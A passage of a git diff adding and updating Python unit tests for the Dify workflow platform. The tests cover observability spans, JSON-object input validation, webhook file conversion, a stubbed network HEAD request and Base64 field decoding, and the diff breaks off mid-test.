+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        assert spans[0].name == mock_llm_node.title
+        assert spans[0].status.status_code == StatusCode.OK
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_error_recorded_in_span(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that node execution errors are recorded in span."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        error = ValueError("Test error")
+        layer.on_node_run_start(mock_llm_node)
+        layer.on_node_run_end(mock_llm_node, error)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        assert spans[0].status.status_code == StatusCode.ERROR
+        assert len(spans[0].events) > 0
+        assert any("exception" in event.name.lower() for event in spans[0].events)
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_node_end_without_start_handled_gracefully(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that ending a node without start doesn't crash."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
+
+
+class TestObservabilityLayerParserIntegration:
+    """Test parser integration for different node types."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_default_parser_used_for_regular_node(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_start_node
+    ):
+        """Test that default parser is used for non-tool nodes."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_start_node)
+        layer.on_node_run_end(mock_start_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        attrs = spans[0].attributes
+        assert attrs["node.id"] == mock_start_node.id
+        assert attrs["node.execution_id"] == mock_start_node.execution_id
+        assert attrs["node.type"] == mock_start_node.node_type.value
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_tool_parser_used_for_tool_node(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_tool_node
+    ):
+        """Test that tool parser is used for tool nodes."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_tool_node)
+        layer.on_node_run_end(mock_tool_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+        attrs = spans[0].attributes
+        assert attrs["node.id"] == mock_tool_node.id
+        assert attrs["tool.provider.id"] == mock_tool_node._node_data.provider_id
+        assert attrs["tool.provider.type"] == mock_tool_node._node_data.provider_type.value
+        assert attrs["tool.name"] == mock_tool_node._node_data.tool_name
+
+
+class TestObservabilityLayerGraphLifecycle:
+    """Test graph lifecycle management."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_start_clears_contexts(self, tracer_provider_with_memory_exporter, mock_llm_node):
+        """Test that on_graph_start clears node contexts."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        assert len(layer._node_contexts) == 1
+
+        layer.on_graph_start()
+        assert len(layer._node_contexts) == 0
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_end_with_no_unfinished_spans(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that on_graph_end handles normal completion."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        layer.on_node_run_end(mock_llm_node, None)
+        layer.on_graph_end(None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_end_with_unfinished_spans_logs_warning(
+        self, tracer_provider_with_memory_exporter, mock_llm_node, caplog
+    ):
+        """Test that on_graph_end logs warning for unfinished spans."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        assert len(layer._node_contexts) == 1
+
+        layer.on_graph_end(None)
+
+        assert len(layer._node_contexts) == 0
+        assert "node spans were not properly ended" in caplog.text
+
+
+class TestObservabilityLayerDisabledMode:
+    """Test behavior when layer is disabled."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_disabled_mode_skips_node_start(self, memory_span_exporter, mock_start_node):
+        """Test that disabled layer doesn't create spans on node start."""
+        layer = ObservabilityLayer()
+        assert layer._is_disabled
+
+        layer.on_graph_start()
+        layer.on_node_run_start(mock_start_node)
+        layer.on_node_run_end(mock_start_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_disabled_mode_skips_node_end(self, memory_span_exporter, mock_llm_node):
+        """Test that disabled layer doesn't process node end."""
+        layer = ObservabilityLayer()
+        assert layer._is_disabled
+
+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
diff --git a/api/tests/unit_tests/core/workflow/nodes/test_start_node_json_object.py b/api/tests/unit_tests/core/workflow/nodes/test_start_node_json_object.py
index 83799c9508..539e72edb5 100644
--- a/api/tests/unit_tests/core/workflow/nodes/test_start_node_json_object.py
+++ b/api/tests/unit_tests/core/workflow/nodes/test_start_node_json_object.py
@@ -1,3 +1,4 @@
+import json
 import time
 
 import pytest
@@ -46,14 +47,16 @@ def make_start_node(user_inputs, variables):
 
 
 def test_json_object_valid_schema():
-    schema = {
-        "type": "object",
-        "properties": {
-            "age": {"type": "number"},
-            "name": {"type": "string"},
-        },
-        "required": ["age"],
-    }
+    schema = json.dumps(
+        {
+            "type": "object",
+            "properties": {
+                "age": {"type": "number"},
+                "name": {"type": "string"},
+            },
+            "required": ["age"],
+        }
+    )
 
     variables = [
         VariableEntity(
@@ -65,7 +68,7 @@ def test_json_object_valid_schema():
         )
     ]
 
-    user_inputs = {"profile": {"age": 20, "name": "Tom"}}
+    user_inputs = {"profile": json.dumps({"age": 20, "name": "Tom"})}
 
     node = make_start_node(user_inputs, variables)
     result = node._run()
@@ -74,12 +77,23 @@ def test_json_object_valid_schema():
 
 
 def test_json_object_invalid_json_string():
+    schema = json.dumps(
+        {
+            "type": "object",
+            "properties": {
+                "age": {"type": "number"},
+                "name": {"type": "string"},
+            },
+            "required": ["age", "name"],
+        }
+    )
     variables = [
         VariableEntity(
             variable="profile",
             label="profile",
             type=VariableEntityType.JSON_OBJECT,
             required=True,
+            json_schema=schema,
         )
     ]
 
@@ -88,38 +102,21 @@ def test_json_object_invalid_json_string():
 
     node = make_start_node(user_inputs, variables)
 
-    with pytest.raises(ValueError, match="profile must be a JSON object"):
-        node._run()
-
-
-@pytest.mark.parametrize("value", ["[1, 2, 3]", "123"])
-def test_json_object_valid_json_but_not_object(value):
-    variables = [
-        VariableEntity(
-            variable="profile",
-            label="profile",
-            type=VariableEntityType.JSON_OBJECT,
-            required=True,
-        )
-    ]
-
-    user_inputs = {"profile": value}
-
-    node = make_start_node(user_inputs, variables)
-
-    with pytest.raises(ValueError, match="profile must be a JSON object"):
+    with pytest.raises(ValueError, match='{"age": 20, "name": "Tom" must be a valid JSON object'):
         node._run()
 
 
 def test_json_object_does_not_match_schema():
-    schema = {
-        "type": "object",
-        "properties": {
-            "age": {"type": "number"},
-            "name": {"type": "string"},
-        },
-        "required": ["age", "name"],
-    }
+    schema = json.dumps(
+        {
+            "type": "object",
+            "properties": {
+                "age": {"type": "number"},
+                "name": {"type": "string"},
+            },
+            "required": ["age", "name"],
+        }
+    )
 
     variables = [
         VariableEntity(
@@ -132,7 +129,7 @@ def test_json_object_does_not_match_schema():
     ]
 
     # age is a string, which violates the schema (expects number)
-    user_inputs = {"profile": {"age": "twenty", "name": "Tom"}}
+    user_inputs = {"profile": json.dumps({"age": "twenty", "name": "Tom"})}
 
     node = make_start_node(user_inputs, variables)
 
@@ -141,14 +138,16 @@ def test_json_object_does_not_match_schema():
 
 
 def test_json_object_missing_required_schema_field():
-    schema = {
-        "type": "object",
-        "properties": {
-            "age": {"type": "number"},
-            "name": {"type": "string"},
-        },
-        "required": ["age", "name"],
-    }
+    schema = json.dumps(
+        {
+            "type": "object",
+            "properties": {
+                "age": {"type": "number"},
+                "name": {"type": "string"},
+            },
+            "required": ["age", "name"],
+        }
+    )
 
     variables = [
         VariableEntity(
@@ -161,7 +160,7 @@ def test_json_object_missing_required_schema_field():
     ]
 
     # Missing required field "name"
-    user_inputs = {"profile": {"age": 20}}
+    user_inputs = {"profile": json.dumps({"age": 20})}
 
     node = make_start_node(user_inputs, variables)
 
@@ -214,7 +213,7 @@ def test_json_object_optional_variable_not_provided():
             variable="profile",
             label="profile",
             type=VariableEntityType.JSON_OBJECT,
-            required=False,
+            required=True,
         )
     ]
 
@@ -223,5 +222,5 @@ def test_json_object_optional_variable_not_provided():
     node = make_start_node(user_inputs, variables)
 
     # Current implementation raises a validation error even when the variable is optional
-    with pytest.raises(ValueError, match="profile must be a JSON object"):
+    with pytest.raises(ValueError, match="profile is required in input form"):
         node._run()
diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py
new file mode 100644
index 0000000000..ead2334473
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py
@@ -0,0 +1,452 @@
+"""
+Unit tests for webhook file conversion fix.
+
+This test verifies that webhook trigger nodes properly convert file dictionaries
+to FileVariable objects, fixing the "Invalid variable type: ObjectVariable" error
+when passing files to downstream LLM nodes.
+"""
+
+from unittest.mock import Mock, patch
+
+from core.app.entities.app_invoke_entities import InvokeFrom
+from core.workflow.entities.graph_init_params import GraphInitParams
+from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
+from core.workflow.nodes.trigger_webhook.entities import (
+    ContentType,
+    Method,
+    WebhookBodyParameter,
+    WebhookData,
+)
+from core.workflow.nodes.trigger_webhook.node import TriggerWebhookNode
+from core.workflow.runtime.graph_runtime_state import GraphRuntimeState
+from core.workflow.runtime.variable_pool import VariablePool
+from core.workflow.system_variable import SystemVariable
+from models.enums import UserFrom
+from models.workflow import WorkflowType
+
+
+def create_webhook_node(
+    webhook_data: WebhookData,
+    variable_pool: VariablePool,
+    tenant_id: str = "test-tenant",
+) -> TriggerWebhookNode:
+    """Helper function to create a webhook node with proper initialization."""
+    node_config = {
+        "id": "webhook-node-1",
+        "data": webhook_data.model_dump(),
+    }
+
+    graph_init_params = GraphInitParams(
+        tenant_id=tenant_id,
+        app_id="test-app",
+        workflow_type=WorkflowType.WORKFLOW,
+        workflow_id="test-workflow",
+        graph_config={},
+        user_id="test-user",
+        user_from=UserFrom.ACCOUNT,
+        invoke_from=InvokeFrom.SERVICE_API,
+        call_depth=0,
+    )
+
+    runtime_state = GraphRuntimeState(
+        variable_pool=variable_pool,
+        start_at=0,
+    )
+
+    node = TriggerWebhookNode(
+        id="webhook-node-1",
+        config=node_config,
+        graph_init_params=graph_init_params,
+        graph_runtime_state=runtime_state,
+    )
+
+    # Attach a lightweight app_config onto runtime state for tenant lookups
+    runtime_state.app_config = Mock()
+    runtime_state.app_config.tenant_id = tenant_id
+
+    # Provide compatibility alias expected by node implementation
+    # Some nodes reference `self.node_id`; expose it as an alias to `self.id` for tests
+    node.node_id = node.id
+
+    return node
+
+
+def create_test_file_dict(
+    filename: str = "test.jpg",
+    file_type: str = "image",
+    transfer_method: str = "local_file",
+) -> dict:
+    """Create a test file dictionary as it would come from webhook service."""
+    return {
+        "id": "file-123",
+        "tenant_id": "test-tenant",
+        "type": file_type,
+        "filename": filename,
+        "extension": ".jpg",
+        "mime_type": "image/jpeg",
+        "transfer_method": transfer_method,
+        "related_id": "related-123",
+        "storage_key": "storage-key-123",
+        "size": 1024,
+        "url": "https://example.com/test.jpg",
+        "created_at": 1234567890,
+        "used_at": None,
+        "hash": "file-hash-123",
+    }
+
+
+def test_webhook_node_file_conversion_to_file_variable():
+    """Test that webhook node converts file dictionaries to FileVariable objects."""
+    # Create test file dictionary (as it comes from webhook service)
+    file_dict = create_test_file_dict("uploaded_image.jpg")
+
+    data = WebhookData(
+        title="Test Webhook with File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="image_upload", type="file", required=True),
+            WebhookBodyParameter(name="message", type="string", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {"message": "Test message"},
+                "files": {
+                    "image_upload": file_dict,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Mock the file factory and variable factory
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks
+        mock_file_obj = Mock()
+        mock_file_obj.to_dict.return_value = file_dict
+        mock_file_factory.return_value = mock_file_obj
+
+        mock_segment = Mock()
+        mock_segment.value = mock_file_obj
+        mock_segment_factory.return_value = mock_segment
+
+        mock_file_var_instance = Mock()
+        mock_file_variable.return_value = mock_file_var_instance
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify file factory was called with correct parameters
+        mock_file_factory.assert_called_once_with(
+            mapping=file_dict,
+            tenant_id="test-tenant",
+        )
+
+        # Verify segment factory was called to create FileSegment
+        mock_segment_factory.assert_called_once()
+
+        # Verify FileVariable was created with correct parameters
+        mock_file_variable.assert_called_once()
+        call_args = mock_file_variable.call_args[1]
+        assert call_args["name"] == "image_upload"
+        # value should be whatever build_segment_with_type.value returned
+        assert call_args["value"] == mock_segment.value
+        assert call_args["selector"] == ["webhook-node-1", "image_upload"]
+
+        # Verify output contains the FileVariable, not the original dict
+        assert result.outputs["image_upload"] == mock_file_var_instance
+        assert result.outputs["message"] == "Test message"
+
+
+def test_webhook_node_file_conversion_with_missing_files():
+    """Test webhook node file conversion with missing file parameter."""
+    data = WebhookData(
+        title="Test Webhook with Missing File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="missing_file", type="file", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {},  # No files
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle None case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify missing file parameter is None
+    assert result.outputs["_webhook_raw"]["files"] == {}
+
+
+def test_webhook_node_file_conversion_with_none_file():
+    """Test webhook node file conversion with None file value."""
+    data = WebhookData(
+        title="Test Webhook with None File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="none_file", type="file", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": None,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle None case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify None file parameter is None
+    assert result.outputs["_webhook_raw"]["files"]["file"] is None
+
+
+def test_webhook_node_file_conversion_with_non_dict_file():
+    """Test webhook node file conversion with non-dict file value."""
+    data = WebhookData(
+        title="Test Webhook with Non-Dict File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="wrong_type", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": "not_a_dict",  # Wrapped to match node expectation
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle non-dict case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify fallback to original (wrapped) mapping
+    assert result.outputs["_webhook_raw"]["files"]["file"] == "not_a_dict"
+
+
+def test_webhook_node_file_conversion_mixed_parameters():
+    """Test webhook node with mixed parameter types including files."""
+    file_dict = create_test_file_dict("mixed_test.jpg")
+
+    data = WebhookData(
+        title="Test Webhook Mixed Parameters",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        headers=[],
+        params=[],
+        body=[
+            WebhookBodyParameter(name="text_param", type="string", required=True),
+            WebhookBodyParameter(name="number_param", type="number", required=False),
+            WebhookBodyParameter(name="file_param", type="file", required=True),
+            WebhookBodyParameter(name="bool_param", type="boolean", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {
+                    "text_param": "Hello World",
+                    "number_param": 42,
+                    "bool_param": True,
+                },
+                "files": {
+                    "file_param": file_dict,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks for file
+        mock_file_obj = Mock()
+        mock_file_factory.return_value = mock_file_obj
+
+        mock_segment = Mock()
+        mock_segment.value = mock_file_obj
+        mock_segment_factory.return_value = mock_segment
+
+        mock_file_var = Mock()
+        mock_file_variable.return_value = mock_file_var
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify all parameters are present
+        assert result.outputs["text_param"] == "Hello World"
+        assert result.outputs["number_param"] == 42
+        assert result.outputs["bool_param"] is True
+        assert result.outputs["file_param"] == mock_file_var
+
+        # Verify file conversion was called
+        mock_file_factory.assert_called_once_with(
+            mapping=file_dict,
+            tenant_id="test-tenant",
+        )
+
+
+def test_webhook_node_different_file_types():
+    """Test webhook node file conversion with different file types."""
+    image_dict = create_test_file_dict("image.jpg", "image")
+
+    data = WebhookData(
+        title="Test Webhook Different File Types",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="image", type="file", required=True),
+            WebhookBodyParameter(name="document", type="file", required=True),
+            WebhookBodyParameter(name="video", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "image": image_dict,
+                    "document": create_test_file_dict("document.pdf", "document"),
+                    "video": create_test_file_dict("video.mp4", "video"),
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks for all files
+        mock_file_objs = [Mock() for _ in range(3)]
+        mock_segments = [Mock() for _ in range(3)]
+        mock_file_vars = [Mock() for _ in range(3)]
+
+        # Map each segment.value to its corresponding mock file obj
+        for seg, f in zip(mock_segments, mock_file_objs):
+            seg.value = f
+
+        mock_file_factory.side_effect = mock_file_objs
+        mock_segment_factory.side_effect = mock_segments
+        mock_file_variable.side_effect = mock_file_vars
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify all file types were converted
+        assert mock_file_factory.call_count == 3
+        assert result.outputs["image"] == mock_file_vars[0]
+        assert result.outputs["document"] == mock_file_vars[1]
+        assert result.outputs["video"] == mock_file_vars[2]
+
+
+def test_webhook_node_file_conversion_with_non_dict_wrapper():
+    """Test webhook node file conversion when the file wrapper is not a dict."""
+    data = WebhookData(
+        title="Test Webhook with Non-dict File Wrapper",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="non_dict_wrapper", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": "just a string",
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+    result = node._run()
+
+    # Verify successful execution (should not crash)
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+    # Verify fallback to original value
+    assert result.outputs["_webhook_raw"]["files"]["file"] == "just a string"
diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
index a599d4f831..bbb5511923 100644
--- a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
+++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
@@ -1,8 +1,10 @@
+from unittest.mock import patch
+
 import pytest
 
 from core.app.entities.app_invoke_entities import InvokeFrom
 from core.file import File, FileTransferMethod, FileType
-from core.variables import StringVariable
+from core.variables import FileVariable, StringVariable
 from core.workflow.entities.graph_init_params import GraphInitParams
 from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
 from core.workflow.nodes.trigger_webhook.entities import (
@@ -27,26 +29,34 @@ def create_webhook_node(webhook_data: WebhookData, variable_pool: VariablePool)
         "data": webhook_data.model_dump(),
     }
 
+    graph_init_params = GraphInitParams(
+        tenant_id="1",
+        app_id="1",
+        workflow_type=WorkflowType.WORKFLOW,
+        workflow_id="1",
+        graph_config={},
+        user_id="1",
+        user_from=UserFrom.ACCOUNT,
+        invoke_from=InvokeFrom.SERVICE_API,
+        call_depth=0,
+    )
+    runtime_state = GraphRuntimeState(
+        variable_pool=variable_pool,
+        start_at=0,
+    )
     node = TriggerWebhookNode(
         id="1",
         config=node_config,
-        graph_init_params=GraphInitParams(
-            tenant_id="1",
-            app_id="1",
-            workflow_type=WorkflowType.WORKFLOW,
-            workflow_id="1",
-            graph_config={},
-            user_id="1",
-            user_from=UserFrom.ACCOUNT,
-            invoke_from=InvokeFrom.SERVICE_API,
-            call_depth=0,
-        ),
-        graph_runtime_state=GraphRuntimeState(
-            variable_pool=variable_pool,
-            start_at=0,
-        ),
+        graph_init_params=graph_init_params,
+        graph_runtime_state=runtime_state,
     )
 
+    # Provide tenant_id for conversion path
+    runtime_state.app_config = type("_AppCfg", (), {"tenant_id": "1"})()
+
+    # Compatibility alias for some nodes referencing `self.node_id`
+    node.node_id = node.id
+
     return node
 
 
@@ -246,20 +256,27 @@ def test_webhook_node_run_with_file_params():
                 "query_params": {},
                 "body": {},
                 "files": {
-                    "upload": file1,
-                    "document": file2,
+                    "upload": file1.to_dict(),
+                    "document": file2.to_dict(),
                 },
             }
         },
     )
 
     node = create_webhook_node(data, variable_pool)
-    result = node._run()
+    # Mock the file factory to avoid DB-dependent validation on upload_file_id
+    with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
+
+        def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
+            return File.model_validate(mapping)
+
+        mock_file_factory.side_effect = _to_file
+        result = node._run()
 
     assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
-    assert result.outputs["upload"] == file1
-    assert result.outputs["document"] == file2
-    assert result.outputs["missing_file"] is None
+    assert isinstance(result.outputs["upload"], FileVariable)
+    assert isinstance(result.outputs["document"], FileVariable)
+    assert result.outputs["upload"].value.filename == "image.jpg"
 
 
 def test_webhook_node_run_mixed_parameters():
@@ -291,19 +308,27 @@ def test_webhook_node_run_mixed_parameters():
                 "headers": {"Authorization": "Bearer token"},
                 "query_params": {"version": "v1"},
                 "body": {"message": "Test message"},
-                "files": {"upload": file_obj},
+                "files": {"upload": file_obj.to_dict()},
             }
         },
     )
 
     node = create_webhook_node(data, variable_pool)
-    result = node._run()
+    # Mock the file factory to avoid DB-dependent validation on upload_file_id
+    with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
+
+        def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
+            return File.model_validate(mapping)
+
+        mock_file_factory.side_effect = _to_file
+        result = node._run()
 
     assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
     assert result.outputs["Authorization"] == "Bearer token"
     assert result.outputs["version"] == "v1"
     assert result.outputs["message"] == "Test message"
-    assert result.outputs["upload"] == file_obj
+    assert isinstance(result.outputs["upload"], FileVariable)
+    assert result.outputs["upload"].value.filename == "test.jpg"
     assert "_webhook_raw" in result.outputs
 
 
diff --git a/api/tests/unit_tests/core/workflow/test_workflow_entry.py b/api/tests/unit_tests/core/workflow/test_workflow_entry.py
index 75de5c455f..68d6c109e8 100644
--- a/api/tests/unit_tests/core/workflow/test_workflow_entry.py
+++ b/api/tests/unit_tests/core/workflow/test_workflow_entry.py
@@ -1,3 +1,5 @@
+from types import SimpleNamespace
+
 import pytest
 
 from core.file.enums import FileType
@@ -12,6 +14,36 @@ from core.workflow.system_variable import SystemVariable
 from core.workflow.workflow_entry import WorkflowEntry
 
 
+@pytest.fixture(autouse=True)
+def _mock_ssrf_head(monkeypatch):
+    """Avoid any real network requests during tests.
+
+    file_factory._get_remote_file_info() uses ssrf_proxy.head to inspect
+    remote files. We stub it to return a minimal response object with
+    headers so filename/mime/size can be derived deterministically.
+    """
+
+    def fake_head(url, *args, **kwargs):
+        # choose a content-type by file suffix for determinism
+        if url.endswith(".pdf"):
+            ctype = "application/pdf"
+        elif url.endswith(".jpg") or url.endswith(".jpeg"):
+            ctype = "image/jpeg"
+        elif url.endswith(".png"):
+            ctype = "image/png"
+        else:
+            ctype = "application/octet-stream"
+        filename = url.split("/")[-1] or "file.bin"
+        headers = {
+            "Content-Type": ctype,
+            "Content-Disposition": f'attachment; filename="{filename}"',
+            "Content-Length": "12345",
+        }
+        return SimpleNamespace(status_code=200, headers=headers)
+
+    monkeypatch.setattr("core.helper.ssrf_proxy.head", fake_head)
+
+
 class TestWorkflowEntry:
     """Test WorkflowEntry class methods."""
 
diff --git a/api/tests/unit_tests/libs/test_encryption.py b/api/tests/unit_tests/libs/test_encryption.py
new file mode 100644
index 0000000000..bf013c4bae
--- /dev/null
+++ b/api/tests/unit_tests/libs/test_encryption.py
@@ -0,0 +1,150 @@
+"""
+Unit tests for field encoding/decoding utilities.
+
+These tests verify Base64 encoding/decoding functionality and
+proper error handling and fallback behavior.
+"""
+
+import base64
+
+from libs.encryption import FieldEncryption
+
+
+class TestDecodeField:
+    """Test cases for field decoding functionality."""
+
+    def test_decode_valid_base64(self):
+        """Test decoding a valid Base64 encoded string."""
+        plaintext = "password123"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+    def test_decode_non_base64_returns_none(self):
+        """Test that non-base64 input returns None."""
+        non_base64 = "plain-password-!@#"
+        result = FieldEncryption.decrypt_field(non_base64)
+        # Should return None (decoding failed)
+        assert result is None
+
+    def test_decode_unicode_text(self):
+        """Test decoding Base64 encoded Unicode text."""
+        plaintext = "密码Test123"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+    def test_decode_empty_string(self):
+        """Test decoding an empty string returns empty string."""
+        result = FieldEncryption.decrypt_field("")
+        # Empty string base64 decodes to empty string
+        assert result == ""
+
+    def test_decode_special_characters(self):
+        """Test decoding with special characters."""
+        plaintext = "P@ssw0rd!#$%^&*()"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+
+class TestDecodePassword:
+    """Test cases for password decoding."""
+
+    def test_decode_password_base64(self):
+        """Test decoding a Base64 encoded password."""
+        password = "SecureP@ssw0rd!"
+        encoded = base64.b64encode(password.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_password(encoded)
+        assert result == password
+
+    def test_decode_password_invalid_returns_none(self):
